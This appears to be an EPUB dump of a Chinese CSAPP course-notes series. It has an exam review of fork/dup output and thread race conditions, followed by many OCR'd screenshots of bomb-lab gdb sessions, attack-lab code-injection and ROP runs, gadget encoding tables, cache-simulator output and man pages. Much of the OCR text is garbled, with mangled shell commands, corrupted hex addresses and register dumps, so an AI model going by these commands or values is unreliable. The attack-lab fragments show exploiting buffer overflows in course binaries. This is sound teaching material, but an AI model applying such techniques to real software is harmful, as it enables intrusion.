        read_and_print_one(fd2); // 读取 fd2 第三个字符并输出 C
        close(fd2); // 关闭 fd2
        fd2 = dup(fd1); // 把 fd2 指向 fd1
        read_and_print_one(fd2); // 继续读取 fd1/2 第二个字符并输出 B
    }
    else
    {
        wait(NULL);
        read_and_print_one(fd1); // 继续读取 fd1/2 第二个字符并输出 C
        read_and_print_one(fd2); // 继续读取 fd1/2 第二个字符并输出 D
        printf("\n");
    }
    
    close(fd1);
    close(fd2);
    return 0;
}


输出是 AABCBCD，而 foo.txt 中内容不变，因为是只读的。具体的解释参见代码注释

并行、竞争与同步

下面五段代码都试图做同样的事情：主线程创建另外两个线程，每个线程都打印出自己的线程 id，我们需要判断其中的 myid 会不会出现竞争(race)

// 版本一
void *foo(void *vargp)
{
    int myid;
    myid = *((int *)vargp);
    Free(vargp);
    printf("Thread %d\n", myid);
}

int main()
{
    pthread_t tid[2];
    int i, *ptr;
    
    for (i = 0; i < 2; i++)
    {
        ptr = Malloc(sizeof(int));
        *ptr = i;
        Pthread_create(&tid[i], 0, foo, ptr);
    }
    Pthread_join(tid[0], 0);
    Pthread_join(tid[1], 0);
}


这个版本不会出现竞争，因为在循环中每次创建不同的指针，在不同位置，严格来说不是共享同一个变量。



// 版本二
void *foo(void *vargp)
{
    int myid;
    myid = *((int *)vargp);
    printf("Thread %d\n", myid);
}

int main()
{
    pthread_t tid[2];
    int i;
    
    for (i = 0; i < 2; i++)
        Pthread_create(&tid[i], NULL, foo, &i);
    Pthread_join(tid[0], NULL);
    Pthread_join(tid[1], NULL);
}


这个版本会出现竞争，指针会指向同一个 myid。一般来说这种直接塞指针，又没有重新分配的，会有问题。



// 版本三
void *foo(void *vargp)
{
    int myid;
    myid = (int)vargp;
    printf("Thread %d\n", myid);
}

int main()
{
    pthread_t tid[2];
    int i;
    
    for (i = 0; i < 2; i++)
        Pthread_create(&tid[i], 0, foo, i);
    Pthread_join(tid[0], 0);
    Pthread_join(tid[1], 0);
}


这个版本不会出现竞争，因为是直接传值而不是传引用的（注意和上一个版本的区别）



// 版本四
sem_t s; // Semaphore s

void *foo(void *vargp)
{
    int myid;
    P(&s);
    myid = *((int *)vargp);
    V(&s);
    printf("Thread %d\n", myid);
}

int main()
{
    pthread_t tid[2];
    int i;
    
    sem_init(&s, 0, 1); // 这里初始化值为 1
    
    for (i = 0; i < 2; i++)
        Pthread_create(&tid[i], 0, foo, &i);
    Pthread_join(tid[0], 0);
    Pthread_join(tid[1], 0);
}


这个版本会出现竞争条件，理解了信号量机制之后就会发现，这个代码的信号量其实等于没用。具体自己感受下（或者参考后面一个版本）



// 版本五
sem_t s; // Semaphore s

void *foo(void *vargp)
{
    int myid;
    myid = *((int *)vargp);
    V(&s);
    printf("Thread %d\n", myid);
}

int main()
{
    pthread_t tid[2];
    int i;
    
    sem_init(&s, 0, 0); // 这里初始化值为 0
    
    for (i = 0; i < 2; i++)
    {
        Pthread_create(&tid[i], 0, foo, i);
        P(&s);
    }
    Pthread_join(tid[0], 0);
    Pthread_join(tid[1], 0);
}


这个版本不会有竞争条件，自己模拟跑一次就会发现实际上这种写法限制了具体执行的顺序，所以是可以的。

总结

其实我觉得如果认真上了整个学期的课，也看完了我写的整个系列，考试还是蛮简单的。
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(gdb) run
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So you got that one. Try this one.
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(gdb) disas

Dump of assembler code for function phase_4:

=> 0x0000000000401195
0x0000000000401199
0x000000000040119e
0x00000000004011a3
0x00000000004011a8
0x00000000004011ad
0x00000000004011b2
0x00000000004011b5
0x00000000004011b7
0x00000000004011bb
0x00000000004011be
0x00000000004011cO
0x00000000004011c3
0x00000000004011c5
0x00000000004011ca
0x00000000004011ce
0x00000000004011d3
0x00000000004011d8
0x00000000004011dc
0x00000000004011de
0x00000000004011e3
0x00000000004011e7

End of assembler dump.

<+0>:
<+4>:
<+9>:

<+14>:
<+19>:
<424>:
<+29>:
<+32>:
<+34>:
<+38>:
<+41>:
<+43>:
<+46>:
<+48>:
<+53>:
<+57>:
<+62>:
<+67>:
<H+71>:
<+73>:
<+78>:
<+82>:

sub
lea
lea
mov.
mov
callg
cmp
jne
mov
cmp
jle
cmp
jle
callg
mov.
mov
callg
cmp
je
callg
add
retq

$0x18,%rsp
Ox8(%rsp) ,%rcx
Oxc(%rsp) ,%¥rdx
$0x402b56,%es 1
$0x0, %eax
0x400cbo <
$0x2,%eax
0x4011c5 <phase_4+48>
0x8(%rsp) ,%eax
$0x1,%eax

0x4011c5 <phase_4+48>
$0x4, %eax

0x4011ca <phase_4+53>
0x401704 <explode_bomb>
Ox8(%rsp) ,%esi
$0x9,%edi

0x40115d <funcd>
Oxc(%rsp) ,%eax
0x4011e3 <phase_4+78>
0x401704 <explode_bomb>
$0x18,%rsp

__1s0c99_sscanf@plt>
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int foo(int x, int y, char z)

= x - 2;
i8&=y;
return 1*z-y;

int main() {
return foo(23, 583, 'x');

0x4004b3 <foo+7> mov %esi,-0x18(%rbp)
@x4004b6 <foo+10> mov %edx, %eax
0x4004b8 <foo+12> mov %al,-0x1c(%rbp)
@x4004bb > 4(%rbp) ,%ea
0x4004be <foo+18> imul -0x18(%rbp) , %eax
0x4004c2 <foo+22> mov %eax,-0x4(%rbp)
0x4004c5 <foo+25> movsbl -@x1c(%rbp),%eax
0x4004c9 <foo+29> mov -0x14(%rbp) , %edx
0x4004cc <foo+32> mov %edx, %ecx
0x4004ce <foo+34> sub %eax, %ecx

ichild process 25783 In: foo
Reading symbols from /home/jack/test...done.
(gdb) layout split
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D. Encodings of 2-byte functional nop instructions

Operation Register R
%al %cl %dl %bl
andb R, R|20 cO |20 c9 |20 d2|20 db
orb R, R|08 cO |08 c9 |08 d2| 08 db
cmpb R, R|38 cO |38 c9 |38 d2|38 db
testb R, R |84 cO |84 c9 |84 d2 |84 db
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0x000000000040104b
0x0000000000401052
> 0x0000000000401657
0x000000000040105f
0x0000000000401065

<+59>:
<+66>:
<+71>:
<+79>:
<+85>:

jmpq
mov
cmpl

callq

*0x402860 (,%rax,8)
$0x6e, %eax
$0xdf,0xc(%rsp)
©x40114d <phase_3+317>
0x401704 <explode_bomb>
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* List files one per line:

jEsE=1
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iLsh=a
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1s -la

* Long format list with size displayed using human readable units (KB, MB, GB):

1s -1h

* Long format list sorted by size (descending):

is —1lS

* Long format list of all files, sorted by modification date (oldest first):

LSE=1tr
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-bash-4.1% ./rtarget -1 p4r.txt

Cookie: ©x45374fee

Touch2!: You called touch2(0x45374fee)

Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
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5 RTARGET 3 ROP | touch3 5

CL Code injection
ROP:  Return-oriented programming
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(gdb) x/s ©x4029d8
0x4629d8: "Curses, you've found the secret phase!"

(gdb) x/s 0x402a00
0x462200: "But finding it and solving it are quite different..."





OEBPS/Images/501fbd5f60e0cc23952690b27b402921.jpg
100 Mb/s

100 Mb/s 100 Mb/s

{01 port

100 Mb/s

100 Mb/s





OEBPS/Images/42fa8a2ee97473adc36927d507894678.jpg





OEBPS/Images/c077654de285fee1a40c3fa50da5037a.jpg
0x00000000004012a7
0x00000000004012ac
0x00000000004012af
0x00000000004012b2
0x00000000004012b4
0x00000000004012b9
0x00000000004012bc
0x00000000004012c1
0x00000000004012¢3
0x00000000004012¢6
0x00000000004012ch
0x00000000004012¢ f
0x00000000004012d2
0x00000000004012d5
0x00000000004012d8
0x00000000004012da
0x00000000004012€2
0x00000000004012e7
0x00000000004012e9
0x00000000004012ed
0x00000000004012ef
0x00000000004012f1
0x00000000004012f3
0x000000000040128
0x00000000004012fc
0x00000000004012f f
0x0000000000401302
0x0000000000401304
0x0000000000401308
0x0000000000401309
0x000000000040130a
0x000000000040130¢

End of assembler dump.

<+123>:
<+128>:
<+131>:
<+134>:
<+136>:
<+141>:
<+144>:
<+149>:
<+151>:
<+154>:
<+159>:
<+163>:
<+166>:
<+169>:
<+172>:
<+174>:
<+182>:
<+187>:
<+189>:
<+193>:
<+195>:
<+197>:
<+199>:
<+204>:
<+208>:
<+211>:
<+214>:
<+216>:
<+220>:
<+221>:
<+222>:
<+224>:

mov
add
cmp
jle
mov
mov
mov
jmp
movslq
mov
mov
ELL
mov
cmp
jle
movq
mov
jmp
mov
mov
cmp
jge
callq
mov
add
cmp
jle
add
pop
pop
pop
retq

%rdx,0x20 (%rsp,%rax,8)
$0x1,%es i

$0x5,%esi

0x401292 <phase_6+102>
0x20 (%rsp) ,%rbx
%rbx,%rcx

$0x1,%eax

0x4012d5 <phase_6+169>
%eax, %rdx

0x20 (%rsp,%rdx,8) ,%rdx
%rdx, 0x8 (%rcx)
$0x1,%eax

%rdx,%rox

$0x5, %eax

0x4012c3 <phase_6+151>
$0x0,0x8 (%rcx)
$6x0,%ebp

0x4012ff <phase_6+211>
0x8(%rbx) ,%rax

(%rax) ,%eax

%eax, (%rbx)

0x4012f8 <phase_6+204>
0x401704 <explode_bomb>
0x8 (%rbx) ,%rbx
$6x1,%ebp

$6x4,%ebp

0x4012e9 <phase_6+189>
$0x50,%rsp

%rbx

%rbp

%ri2
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(gdb) run

Starting program: /afs/andrew.cmu.edu/usr3/dawang/513/target334/ctarget
Cookie: @x45374fee

Type string:1234

Breakpoint 1, getbuf () at buf.c:16
16 buf.c: No such file or directory.
(gdb) disas

Dump of assembler code for function getbuf:

x000000000040181c <+8>: sub $6x28,%rsp
©x8000800000401820 <+4>: mov  %rsp,%rdi
8x6000000000401823 <+7>: callg ©x4081ab8 <Gets>

=> 8x0800008000481828 <+12>:  mov  $8x1,%eax
6x090006000040182d <+17>:  add  $6x28.%rsp
6x6006060060401831 <+21>:  retq

End of assembler dump.

(gdb) info registers

rax 0x5568f2d8 1432416984

rbx 8x55586008 1431855184

rex Oxa 18

rdx oxa 10

rsi 6x7ffff7dd8e30  149737351880248
rdi Ox7ffff7dd7b6@  146737351875424
rbp 0x55685fe8 0x55685fe8

rsp 8x556872d8 6x55687248

ré Ox7ffff7ff8760 146737354106624
9 8xe [

rie x22 34

ri1 8x246 582

ri2 ox1 1

r13 8x0 8

ri4 x0 e

ris oxe e

rip 6x461828 6461828 <getbuf+12>
eflags 0x246 [ PF ZF IF ]

cs 833 51

ss exb 43

ds ox8 e

es 6x0 8

fs 6x0 8

gs 6x8 8
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(gdb) disas

Dump of assembler code for function fun7:

=> 0x000000000040130d
0x0000000000401311
0x0000000000401314
0x0000000000401316
0x0000000000401318
0x000000000040131a
0x000000000040131c
0x0000000000401320
0x0000000000401325
0x0000000000401327
0x0000000000401329
0x000000000040132e
0x06000000000401330
0x0000000000401332
0x0000000000401336
0x000000000040133b
0x000000000040133f
0x0000000000401341
0x0000000000401346
0x000000000040134a

End of assembler dump.

<+0>:
<+4>:
<H7>:
<+9>:

<+11>:
<+13>:
<+15>:
<+19>:
<+24>:
<+26>:
<+28>:
<+33>:
<+35>:
<+37>;
<+41>:
<+46>:
<+50>:
<+52>:
<+57>:
<+61>:

sub
test
je
mov
cmp
jle
mov
callq
add
jmp
mov
cmp
je
mov
callq
lea
jmp
mov
ELL
retq

$0x8,%rsp
%rdi,%rdi

0x401341 <fun7+52>
(%rdi),%edx
%esi,%edx
0x401329 <fun7+28>
0x8(%rdi),%rdi
0x40130d <fun7>
%eax, %eax
0x401346 <fun7+57>
$0x0, %eax
%esi,%edx
0x401346 <fun7+57>
0x10(%rdi) ,%rdi
0x40136d <fun7>
0x1(%rax,%rax,1) ,%eax
0x401346 <fun7+57>
$oxffffffff, %eax
$0x8,%rsp
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(gdb) x/sb 0x40284e
Ox40284e "%d %c %d"
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ommand
3:32.06 /Applications/uT
/Applications/NeteaseMu
/Applications/iTerm.app
Jusr/sbin/screencapture
/Applications/Google Ch
/Applications/WeChat.ap
htop
/Applications/# il i 8 .
/Applications/Sublime T
/Systen/Library/CoreSer
/Applications/Google Ch
/Applications/Google Ch
/Applications/Dropbox..

/usr/libexec/SafariClou
17 0 2491M 29984 /System/Library/Image C
17 @ 815M 51360

0
] 3 /Library/Input Methods/
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301M
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17 0 2448M 6412
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17 0 2439M 8600






OEBPS/Images/1db0cb5982630bbb72f5e86e2159f212.jpg
KILL(1) 10 KILL(1)

NAME (% ¥t )
kill - & bt

SYNOPSIS(% )
Kill[-ssignal|-p][-alpid. ..
kill -1 [ signal ]

DESCRIPTION (4 i )
kill @GMERMARMEMNS . WRQHMEMS, WAKX TERM (48 . TERM
WERRFERNGREMSORE ., HFRMAE, THRMBEMA KILL (9)
88, B2 % 8 7 08 08 47 3R

ABBMMAM shell H—TAMN kill HM.

OPTIONS (311 )

pid ...
# kill ME— P ERMEMBEIIE, §4 pid AHFWEH2—.
WEE EXHWAT AMSLHHEMME. nXEO n AF 0.
RS 8 pid % n m#E. -1 ERMWAT,
RURMENMPMBIEHBERT, BRESAHAHM MCINTH 2
Wi, o0 REM QAT 1, EEHWET, AWSAMFREE 0
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0000000000400£15 <setval_210>:
400£15: c7 07 d4 48 89 c7 movl $0xc78948d4, (%rdi)
400f1b: c3 retg
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%rax %eax  %ax
%rbx %ebx __ %bx | %bh | bl
%rex %ecx  %ox
Gordx
%rsi %esi __ %si

%rsp esp o] |
%rbp %ebp  %bp[ ]

%I8 %r8d [eri2 Toeriza |
[%r1i0 [%eriod 0 [%r14 _ [%eridd ]
%r11 [eriid %r15 [%r15d
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Letter ASCII Code

—~ T30 mnan0oco

N< X E£<€Emrm®n 0O 3 —x

097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122

Binary Letter ASCII Code

01100001
01100010
01100011
01100100
01100101
01100110
01100111
01101000
01101001
01101010
01101011
01101100
01101101
01101110
01101111
01110000
01110001
01110010
01110011
01110100
01110101
01110110
01110111
01111000
01111001
01111010

N<XSE<CAUOWRODVOZIrAU~IOTMMOO®>

065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
oss
089
030

Binary
01000001
01000010
01000011
01000100
01000101
01000110
01000111
01001000
01001001
01001010
01001011
01001100
01001101
01001110
01001111
01010000
01010001
01010010
01010011
01010100
01010101
01010110
01010111
01011000
01011001
01011010
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(gdb) disas

Dump of assembler code for function phase_5:

=> 0x00000000004011e8
0x00000000004011e9
©x00000000004011ec
0x00000000004011f1
0x00000000004011f4
0x0000000000401116
0x00000000004011fb
0x0000000000401200
0x0000000000401205
0x0000000000401207
0x000000000040120a
0x000000000040120e
0x0000000000401211
0x0000000000401218
0x000000000040121b
0x000000000040121e
0x0000000000401220
0x0000000000401223
0x0000000000401225
0x000000000040122a
0x000000000040122b

End of assembler dump.

<+0>:
<+1>:
<+4>:
<+9>:

<+12>:
<+14>:
<+19>:
<+24>:
<+29>:
<+31>:
<+34>:
<+38>:
<+41>:
<+48>:
<+51>:
<+54>:
<+56>:
<+59>:
<+61>:
<+66>:
<+67>:

push
mov
callqg
cmp
je
callg
mov
mov
jmp
movslq
movzbl
and
add
add
cmp
jle
cmp
je
callg
pop
retq

%rbx

%rdi,%rbx

0x40141b <string_length>
$0x6, %eax

0x4011fb <phase_5+19>
0x401704 <explode_bomb>
$0x0, %edx

$0x0, %eax

0x40121b <phase_5+51>
%eax,%rcx

(%rbx,%rcx, 1) ,%ecx
$0xf,%ecx

0x4028a0 (,%rcx,4) ,%edx
$0x1,%eax

$0x5,%eax

0x401207 <phase_5+31>
$0x34, %edx

0x40122a <phase_5+66>
0x401704 <explode_bomb>
%rbx
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(gdb) print $esi
$3 = 4204528
(gdb) x $esi

0x4027f0: "Why make trillions when we could make... billions?"
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B. Encodings of popdq instructions

Operation Register R
[ Srax | srcx | %rdx | srbx | srsp | srbp | #rsi | &rdi |
popg R | 56 | 59 | 5a | 5b | 5c | 5d | Se | 5%
C. Encodings of mov1 instructions
movl S, D
Source Destination D
S [ %eax | %ecx | #%edx | %ebx | %esp | %ebp | %esi | Sedi

Seax | 89 cO | 89 cl | 89 c2 | 89 c3 | 89 c4 | 89 c5 | 89 c6 | 89 o7
tecx 89 c8 |89 c9 |89 ca|89 cb |89 cc|B89 cd |89 ce |89 of
Sedx |89 d0 | 89 dl | 89 d2 |89 d3 | 89 d4 | 89 d5 | 89 d6 | 89 a7
tebx |89 d8 | 89 d9 | 89 da | 89 db | 89 dc | 89 dd | 89 de [ 89 df
%esp 89 e0 [ 89 el | 89 e2 |89 e3 | 89 e4 | B9 5 | B9 e6 | 89 e7
%ebp |89 e8 [ 89 e9 | 89 ea | 89 eb | 89 ec | 89 ed | 89 ee [ 89 ef
Sesi |89 £0 |89 £1 |89 £2 |89 £3 |89 £4 |89 £5 |89 £6 |89 £7
Sedi |89 £8 |89 £9 89 fa |89 £b |89 fc |89 £d |89 fe |89 £f
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(gdb) info registers

rax 0x605640 6313536

rbx 0x0 0

rex 0x3 3

rdx 0x1 1

rsi 0x605640 6313536

rdi 0x605640 6313536

rbp 0x0 0x0

rsp Ox7fffffffel6s Ox7fffffffel6s
r8 Ox7ffff7ff5004 140737354092548
r9 0x0 0

rie Ox7fffffffdeb® 140737488346800
ril Ox7ffff7a7edb® 140737348365744
ri2 0x400d60 4197728

ri3 Ox7fffffffe250 140737488347728
ri4 0x0 0

ris 0x0 0

rip 0x400fb® ©x400fb0 <phase_1>
eflags 0x202 [ IF 1

cs 0x33 51

ss 0x2b 43

ds 0xe 0

es 0x0 )

fs 0x0 0

gs 0x0 0
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-bash-4.1% ./ctarget -h

Usage: [-hq] ./ctarget -i <infile>
-h Print help information
-q Don't submit result to server
-i <infile> Input file
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struct cmdline_tokens {

int argc; * Numbe arguments */

char *argv [MAXARGS] ; * The arguments list

char winfile; /% Al

char *outfile; /% file #

enum builtins_t { . £ arovie] 18 a builtin; connandsi
BUILTIN_NONE,

BUILTIN_QUIT,
BUILTIN_JOBS,
BUILTIN_BG,
BUILTIN_FG} builtins;
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RArAlLele@ubunts Eeicad)/proc/cruiato

processor
vendor_td : cenulnelntel

cpu fanily 3

model : 69

model name : Intel(R) Core(TM) 15-4258U CPU @ 2.40GHz

stepping Gl

microcode : ex17

cpu MHz : 2400.000

cache size : 3072 KB

physical id )

siblings 2

core id o

cpu cores 12

aplctd )

tnitlal apictd : @

fpu : yes

fpu_exception : yes

cpuld level : 13

wp : yes

flags : fpu vme de pse tsc msr pae mce cx8 aplc sep mtrr pge mca cmov

pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp ln constant_tsc
arch_perfron pebs bts nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclnulq
dq dtes64 ds_cpl vmx ssse3 fma cx16 pdcn pcld ssed_1 ssed_2 x2apic movbe popcnt
tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm arat xsaveop
t pln pts dthern tpr_shadow vami flexpriority ept vpld fsgsbase tsc_adjust bmii
avx2 smep bmi2 tnvpcid

bogomips : 4800.00
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-bash-4.1% ./dlc -e bits.c
'dlc:bits.c:145:thirdBits: 4 operators
dlc:bits.c:155:isTmin: @ operators
'dlc:bits.c:166:1isNotEqual: @ operators
dlc:bits.c:176:any0ddBit: @ operators
dlc:bits.c:186:negate: @ operators
dlc:bits.c:197:conditional: © operators
'dlc:bits.c:208:subOK: © operators
dlc:bits.c:218:isGreater: @ operators
dlc:bits.c:229:bitParity: @ operators
dlc:bits.c:244:howManyBits: © operators
dlc:bits.c:259:float_half: © operators
dlc:bits.c:271:float_i2f: © operators
‘dlc:bits.c:286:float_f2i: @ operators
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(gdb) x/6wd 0x4028a0
0x4028a0 <array.3452>: 2
0x4028b0 <array.3452+16>:

10

16
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Tag Frame Number Valid
0x13 0x30 1
0x34 0x58 0
Ox1F 0x80 0
0x2A 0x72 1
Ox1F 0x95 1
0x20 OxAA 0
Ox3F 0x20 1
Ox3E OxFF 0
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SIGNAL(7)

signal - overview of signals

DESCRIPTION

Linux

Linux Programmer's Manual SIGNAL(7)

supports both POSIX reliable signals (hereinafter "standard sig-
nals") and POSIX real-time signals.

signal dispositions
Each signal has a current disposition, which determines how the process
behaves when it s delivered the stgnal.

The entries in the
default disposition for each signal, as follows:

Tern
1gn

Core

stop

Cont

Default action is to
Default action is to

Default action is to

core(s)).

Default action is to

Default action
stopped.

is

"Action” column of the tables below specify the

terninate the process.
ignore the signal.

terminate the process and dump core (see

stop the process.

to continue the process if it is currently
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-bash-4.1% ./ctarget -i p3r.txt

Cookie: ©x45374fee

Touch3!: You called touch3("45374fee")

Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JoB!
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VPN PPN Valid VPN PPN Valid
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01 - 0 09 17 1
02 38 1 OA 09 1
03 02 1 0B - 0
04 - 0 oC - 0
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06 - 0 OE 11 1
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(gdb) run
Starting program: /afs/andrew.cmu.edu/usr3/dawang/513/bomb114/bomb

Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
abc

Breakpoint 2, 0x0000000000400fb0 in phase_1 ()
(gdb) []
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Usage:
e -h:
. -V
°-s
e -E
® -b
e -t

./csim-ref [-hv] -s <s> -E <E> -b <b> -t <tracefile>

: Optional help flag that prints usage info
: Optional verbose flag that displays trace info

<s>: Number of set index bits (S = 2* is the number of sets)
<E>: Associativity (number of lines per set)
<b>: Number of block bits (B = 2" is the block size)

<tracefile>: Name of the valgrind trace to replay
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$ tldr sort

sort
Sort lines of text files.

Sort
sort

Sort
sort

Sort
sort

Sort
sort

Sort
sort

a file in ascending order:
filename

a file in descending order:
-r filename

passwd file by the 3rd field:
-t: -k 3n /etc/passwd

a file as number in ascending order:
-n filename

a file preserving only unique lines:
-u filename
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child! x =0
———>e
printf exit
.X==1 8
main fork printf exit
parent! x = 1
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(gdb) break explode_bomb

Breakpoint 1 at 0x481704

(gdb) break phase_1

Breakpoint 2 at 0x4001bo

(gdb) break phase_2

Breakpoint 3 at 6x400fcc

(gdb) set args ./sol.txt

(gdb) show args

Argument 1ist to give program being debugged when it is started is "./sol.txt".
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9 #include <stdio.h>

10

11 typedef unsigned char *pointer;

12

13 void show_bytes(pointer start, size_t len) {
1% size_t i;

15 for (i =0; i < len; i++)

16 printf("%p\t0x%.2x\n", start+i, start[i]);
17 printf("\n");

18}

19

20 int main(int argc, const char x argv[]) {
27 int a = 15213;

22 printf("int a = 15213;\n"
23 show_bytes((pointer) &a, sizeof(int));
2% return 0;

E »

int a = 15213;

Ox71ff5fbff82c  Ox6d
ox7fff5fbffa2d b
ox7fff5fbffB2e
ex7fffsfoffeaf  ox00

Program ended with exit code: 0
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End of assembler dump.
(gdb) x /20w 8x556072d8

0x5560f2d8: BOxf8c7c748
0x556012e8: 0x00000000
0x55667218: 0x37333534
0x5560308: 8x00000009
x55601318: 0x00000000

(gdb) break *©x48198a

0x68556012
0x00000000
0x65656634
0x00000000
6x00000000

0x0040196e
0x00000000
0x556012d8
0x00401194
oxfafafafa

6x000000c3
0x00000000
0x00000000
8x00000000
exfafafafs
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(gdb) run
Starting program: /afs/andrew.cmu.edu/usr3/dawang/513/bomb114/bomb ./sol.txt

Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's number 2. Keep going!

Halfway there!

So you got that one. Try this one.

Good work! On to the next...
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(gdb) disas

Dump of assembler code for function phase_1:

0x0000000000400fbO
0x0000000000400fb4
=> 0x0000000000400fb9
0x0000000000400fbe
0x0000000000400fcO
0x0000000000400fc2
0x0000000000400fc7
0x0000000000400fch
End of assembler dump.

<+0>:
<+4>:
<+9>:

<+14>:
<+16>:
<+18>:
<+23>:
<+27>:

sub
mov
callg
test
je
callg
add
retq

$0x8,%rsp

$0x402710, %es i

0x401430 <strings_not_equal>
%eax,%eax

0x400fc7 <phase_1+23>
0x401704 <explode_bomb>
$0x8,%rsp
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(gdb) x/126 0x604120
0x604120 <nl1>: 0x00000024 0x00000000 0x00604140 0x00000000

0x604130 <n1+16>: 0x00604160 000000000 ©x00000000 000000000

0x604140 <n21>: 0x00000008 0x00000000 0x0060410 0x00000000

0604150 <n21+16>: 0x00604180 000000000 ©x00000000 000000000

0x604160 <n22>: 0x00000032 0x00000000 0x006041a0 0x00000000

0x604170 <n22+16>: 0x006041e0 000000000 0x00000000 0x00000000

0x604180 <n32>: 0x00000016 0x00000000 0x00604220 ©x00000000

6x604190 <n32+16>: 6x00604260 000000000 ©x00000000 0x00000000

0x604120 <n33>: 0x0000002d 0x00000000 0x00604200 0x00000060

0604160 <n33+16>: 0x006042¢0 000000000 0x00000000 ©x00000000

0x6041c0 <n31>: 6x60000006 0x00000000 0x00604220 0x00000000

0x6041d0 <n31+16>: 0x00604280 000000000 ©x00000000 ©x00000000

0x6041e0 <n34>: 0x8000006b 0x00000000 0x00604240 0x00000000

0X604110 <n34+16>: 0x006042€0 000000000 6x00000000 ©x00000000

9x604200 <n4s5:

©x00000028 9x00000000 9x00000000 9x00000000
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Starting program: /afs/andrew.cmu.edu/usr3/dawang/513/bombl14/bomb ./sol.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Breakpoint 2, ©x0000000000400fb6 in phase_1 ()
(gdb) continue

Continuing.

Phase 1 defused. How about the next one?
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(gdb) run
Starting program: /afs/andrew.cmu.edu/usr3/dawang/513/bomb114/bomb ./sol.txt
Welcome to my fiendish little bomb. You have 6 phases with

which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's number 2. Keep going!

Halfway there!

So you got that one. Try this one.

Good work! On to the next...

Congratulations! You've defused the bomb!

Your instructor has been notified and will verify your solution.

[Inferior 1 (process 17699) exited normally]
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0x0600000000040114d
0x0000000000401151
0x0000000000401153
0x6000000000401158
0x000000000040115¢

<+317>:
<+321>:
<+323>:
<+328>:
<+332>:

cmp

callq
add
retq

Ox7(%rsp) ,%al

©x401158 <phase_3+328>
0x401704 <explode_bomb>
$0x18,%rsp
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054cad72,1
7ff000028,8
0548bac2,4
0548bacé, 3
0548bac9,2
0548bacb, 2
©548bacd, 5
7ffeeee28,8
0556200, 3
05562e03,7
057e3fa8,8
1 85502e0a,6
1 ©5502e18,5
I 85502e15,2
1 e55e2e38,3
1
I

-
=

Bt
- “

05502e33,3
65562e36,2
==27107==
7187== Counted 8 calls to main()

151,993
taken: 65,123 ( 42%)

Executed:
SBs entered: 164,357
SBs completed: 184,265
guest instrs: 868,746
IRStmts: 5,159,218

Ratios:
guest instrs : SB entered = 52 :
IRStmts : SB entered 313 :
IRStmts : guest instr = 59 : 18

==27107==
==27107== Exit code: ]
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parallels@ubuntu:~$ pstree
init—TModenManager—2*[ {ModenManager} ]
etuorknanage(—E:'[dhcl\ent]

nsmasq
3% [ {NetworkManager}]

accounts-daemon—2*[ {accounts-daenon} ]
acpid
-avaht -daenon—avaht -daenon

luetoothd

olord—2#[{colord}]

ron

ups-browsed

upsd

bus - daemon

ocker——bash-T—java—36*[ {java}]
Iyl sate—nysqt—21L(nysqld}]
ash—7java—s31+[ {java}]
ash
xe—7+[ {exe}]
15+ [ {docker}]
*[getty]
nome- keyring-d—6#[ {gnome-keyring-d}]
erneloops
1ghtdm—T—Xorg—{Xorg}
1ightdn—T—init——at-spi-bus-laun——dbus-daemon
3#[ (at-spi-bus-laun}]
at-spi2-registr—{at-spi2-registr}
banfdaemon—3*[ {banfdaemon}]
bus - daemon
conf-service—2*[ {dconf-service}]
volution-calen—4+[{evolution-calen}]
volution-sourc—2#*[{evolution-sourc}]
firefox—a3*[{firefox}]
confd-2
edit—r6*[ {gedit}]
nome - session——compiz—6*[ {compiz}]
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(gdb) x/s 0x402bad
0x402ba9: 2213 rocks &
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(gdb) print $eax

$2 = 6313536

(gdb) x $eax

0x6(~)5640 <input_strings>: "abc"

E——
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AT R

Executable Object File ®2 LT
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Segment header table < %rsp HiE
line

text
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*— brk
.symtab
.debug
line MATIRATII R
strtab LECIBER WA/
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(gdb) x/24 8x604300

0x604300 <nodel>: 0x000001db ©x00000001 0x00604310 6x06006000
0x604310 <node2> 0x00000315 0x00000002 0x00604320 x00000000
0x604320 <node3>: 0x00000082 0x00000003 0x00604330 0x00000000
0x604330 <noded>: €x000000a2 0x00000004 0x00604340 x00000000
0x604340 <nodeS>: 0x0000011c 0x00000005 0x00604350 0x00000000
6x604350 <node6>: 0x000003df 0x00000006 0x00000000 x00000000
(gdb) print x3df

$1 = 991

(gdb)_print Oxllc

$2 = 284

(gdb) print 0xea2

$3 = 162

(gdb) print 0x082

$4 = 130

(gdb) print 0x315

$5 = 789

(gdb) print Oxldb

$6 = 475
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-bash-4.1% ./ctarget -1 pZr.txt

Cookie: ©x45374fee

Touch2!: You called touch2(@x45374fee)

Valid solution for level 2 with target ctarget

PASS: Sent exploit string to server to be validated.
NlCE JoB!
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-bash-4.1% ./csim-ref -s 4 -E 1 -b 4 -t traces/yi.trace
hits:4 misses:5 evictions:3

-bash-4.1$ ./csim-ref -v -s 4 -E 1 -b 4 -t traces/yi.trace
L 10,1 miss

20,1 miss

20,1 hit

22,1 hit

18,1 hit

110,1 miss eviction

210,1 miss eviction

12,1 miss eviction

12,1 hit

its:4 misses:5 evictions:3
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SYHBOL TABLE:

Anterp 9060900000666000
‘note.ABI-tag 0000060908000000
“note. gnu.buil 0666

Itext  000000090000060
Ifini  0000006000000666
_rodata
~eh_frane_hdr
h_frame
nft_array
finiZarr.
“er ~ oo
dynanic

‘bss 0000006
_comment

“debug_aranges
“debug_info
Gebut aobrev 0000000000600800
‘debug line  B88BBEEOEOEOEEEE

init
pit

Jtext

“int

ser
-got

.data
bss

~interp
“note.ABI-tag
_not.
~gnu.hash
“dynsy
“dynstr
“gnu.version
gnu_version_r

0w buf1d-1d

.dynamic

sot.pit

.comnent

“debug_abbrev
oty 1
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(gdb) run
Starting program: /afs/andrew.cmu.edu/usr3/dawang/513/bomb114/bomb ./sol. txt

Welcome to my fiendish little bomb. You have 6 phases with
